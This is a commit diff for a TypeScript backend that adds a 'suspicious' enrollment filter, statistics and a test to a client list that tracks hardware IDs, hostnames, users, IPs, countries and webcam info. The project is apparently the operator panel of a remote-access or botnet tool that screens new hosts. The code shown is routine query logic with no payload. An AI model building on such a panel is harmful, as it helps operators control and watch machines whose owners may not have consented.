purgatory improvements
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
import { afterAll, describe, expect, test } from "bun:test";
|
||||
import { db } from "./db/connection";
|
||||
import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, setClientWebcamInfo, upsertClientRow } from "./db";
|
||||
import { deleteClientRow, getClientMetricsSummary, getEnrollmentStats, listClients, setClientBookmark, setClientTag, setClientWebcamInfo, upsertClientRow } from "./db";
|
||||
|
||||
const createdClientIds: string[] = [];
|
||||
|
||||
@@ -157,6 +157,68 @@ describe("client list ordering", () => {
|
||||
});
|
||||
|
||||
describe("client metrics summary", () => {
|
||||
test("suspicious enrollment filter and stats scan the full matching set", () => {
|
||||
try {
|
||||
const prefix = `suspicious-filter-${Date.now().toString(36)}`;
|
||||
const suspiciousId = `${prefix}-missing-identity`;
|
||||
const normalId = `${prefix}-normal`;
|
||||
const uniqueOs = `${prefix}-os`;
|
||||
const beforeStats = getEnrollmentStats();
|
||||
|
||||
upsertClientRow({
|
||||
id: suspiciousId,
|
||||
hwid: suspiciousId,
|
||||
role: "client",
|
||||
host: "",
|
||||
os: uniqueOs,
|
||||
arch: "amd64",
|
||||
version: "1.0.0",
|
||||
user: "",
|
||||
country: "US",
|
||||
lastSeen: Date.now(),
|
||||
online: 0,
|
||||
enrollmentStatus: "pending",
|
||||
});
|
||||
createdClientIds.push(suspiciousId);
|
||||
|
||||
upsertClientRow({
|
||||
id: normalId,
|
||||
hwid: normalId,
|
||||
role: "client",
|
||||
host: "normal-host",
|
||||
os: uniqueOs,
|
||||
arch: "amd64",
|
||||
version: "1.0.0",
|
||||
user: "tester",
|
||||
country: "US",
|
||||
lastSeen: Date.now() - 1,
|
||||
online: 0,
|
||||
enrollmentStatus: "pending",
|
||||
});
|
||||
createdClientIds.push(normalId);
|
||||
|
||||
const result = listClients({
|
||||
page: 1,
|
||||
pageSize: 12,
|
||||
search: "",
|
||||
sort: "last_seen_desc",
|
||||
statusFilter: "all",
|
||||
osFilter: uniqueOs,
|
||||
countryFilter: "all",
|
||||
enrollmentFilter: "suspicious",
|
||||
});
|
||||
const afterStats = getEnrollmentStats();
|
||||
|
||||
expect(result.total).toBe(1);
|
||||
expect(result.items.map((item) => item.id)).toEqual([suspiciousId]);
|
||||
expect(result.items[0]?.suspiciousFlags).toContain("no_hostname");
|
||||
expect(result.items[0]?.suspiciousFlags).toContain("no_user");
|
||||
expect(afterStats.suspicious).toBe(beforeStats.suspicious + 1);
|
||||
} finally {
|
||||
cleanupCreatedClients();
|
||||
}
|
||||
});
|
||||
|
||||
test("operating system breakdown excludes purgatory clients", () => {
|
||||
try {
|
||||
const prefix = `metrics-purgatory-${Date.now().toString(36)}`;
|
||||
|
||||
@@ -969,6 +969,7 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
} = filters;
|
||||
const where: string[] = [];
|
||||
const params: any[] = [];
|
||||
const suspiciousEnrollmentFilter = enrollmentFilter === "suspicious";
|
||||
|
||||
if (statusFilter === "online") {
|
||||
where.push("c.online=1");
|
||||
@@ -976,7 +977,7 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
where.push("c.online=0");
|
||||
}
|
||||
|
||||
if (enrollmentFilter && enrollmentFilter !== "all") {
|
||||
if (enrollmentFilter && enrollmentFilter !== "all" && !suspiciousEnrollmentFilter) {
|
||||
if (enrollmentFilter === "pending") {
|
||||
where.push("(c.enrollment_status='pending' OR c.enrollment_status IS NULL)");
|
||||
} else {
|
||||
@@ -1108,7 +1109,22 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
let totalCount = 0;
|
||||
let onlineCount = 0;
|
||||
|
||||
if (search) {
|
||||
if (suspiciousEnrollmentFilter && !search) {
|
||||
const candidates = db
|
||||
.query<any>(
|
||||
`SELECT ${clientFields}, g.name as groupName, g.color as groupColor
|
||||
FROM clients c
|
||||
LEFT JOIN client_groups g ON g.id = c.group_id
|
||||
${whereSql}
|
||||
${orderBy}`,
|
||||
)
|
||||
.all(...params);
|
||||
const suspiciousSets = getFloodSetsWithCache();
|
||||
const matches = candidates.filter((row: any) => computeClientSuspiciousFlags(row, suspiciousSets).length > 0);
|
||||
totalCount = matches.length;
|
||||
onlineCount = matches.filter((row: any) => row.online === 1).length;
|
||||
rows = matches.slice(offset, offset + pageSize);
|
||||
} else if (search) {
|
||||
const searchWhere = [...where];
|
||||
const searchParams = [...params];
|
||||
const candidateLimit = Math.min(5000, Math.max(1000, offset + pageSize * 8));
|
||||
@@ -2183,13 +2199,14 @@ export function getEnrollmentStats(opts?: {
|
||||
pending: number;
|
||||
approved: number;
|
||||
denied: number;
|
||||
suspicious: number;
|
||||
} {
|
||||
let sql = `SELECT COALESCE(enrollment_status,'pending') as status, COUNT(*) as c FROM clients`;
|
||||
const params: any[] = [];
|
||||
|
||||
const where: string[] = [];
|
||||
if (opts?.allowedClientIds) {
|
||||
if (opts.allowedClientIds.length === 0) return { pending: 0, approved: 0, denied: 0 };
|
||||
if (opts.allowedClientIds.length === 0) return { pending: 0, approved: 0, denied: 0, suspicious: 0 };
|
||||
const placeholders = opts.allowedClientIds.map(() => "?").join(",");
|
||||
where.push(`id IN (${placeholders})`);
|
||||
params.push(...opts.allowedClientIds);
|
||||
@@ -2214,12 +2231,19 @@ export function getEnrollmentStats(opts?: {
|
||||
sql += ` GROUP BY enrollment_status`;
|
||||
|
||||
const rows = db.query<{ status: string; c: number }>(sql).all(...params);
|
||||
const stats = { pending: 0, approved: 0, denied: 0 };
|
||||
const stats = { pending: 0, approved: 0, denied: 0, suspicious: 0 };
|
||||
for (const r of rows) {
|
||||
if (r.status === "approved") stats.approved = Number(r.c);
|
||||
else if (r.status === "denied") stats.denied = Number(r.c);
|
||||
else stats.pending = Number(r.c);
|
||||
}
|
||||
|
||||
const suspiciousSql =
|
||||
`SELECT id, hwid, cpu, gpu, ram, os, host, user, ip, monitors FROM clients${where.length > 0 ? ` WHERE ${where.join(" AND ")}` : ""}`;
|
||||
const suspiciousSets = getFloodSetsWithCache();
|
||||
const suspiciousRows = db.query<any>(suspiciousSql).all(...params);
|
||||
stats.suspicious = suspiciousRows.filter((row: any) => computeClientSuspiciousFlags(row, suspiciousSets).length > 0).length;
|
||||
|
||||
return stats;
|
||||
}
|
||||
|
||||
|
||||
@@ -101,7 +101,9 @@ export async function handleClientRoutes(
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
|
||||
const pageSize = Math.min(200, Math.max(1, Number(url.searchParams.get("pageSize") || 12)));
|
||||
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
|
||||
const maxPageSize = isEnrollmentRequest ? 1000 : 200;
|
||||
const pageSize = Math.min(maxPageSize, Math.max(1, Number(url.searchParams.get("pageSize") || 12)));
|
||||
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
|
||||
const sort = url.searchParams.get("sort") || "last_seen_desc";
|
||||
const statusFilter = url.searchParams.get("status") || "all";
|
||||
@@ -110,7 +112,6 @@ export async function handleClientRoutes(
|
||||
const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved";
|
||||
const groupFilter = url.searchParams.get("group") || "all";
|
||||
const webcamFilter = url.searchParams.get("webcam") || "all";
|
||||
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
|
||||
|
||||
if (user.role === "admin") {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
|
||||
|
||||
Reference in New Issue
Block a user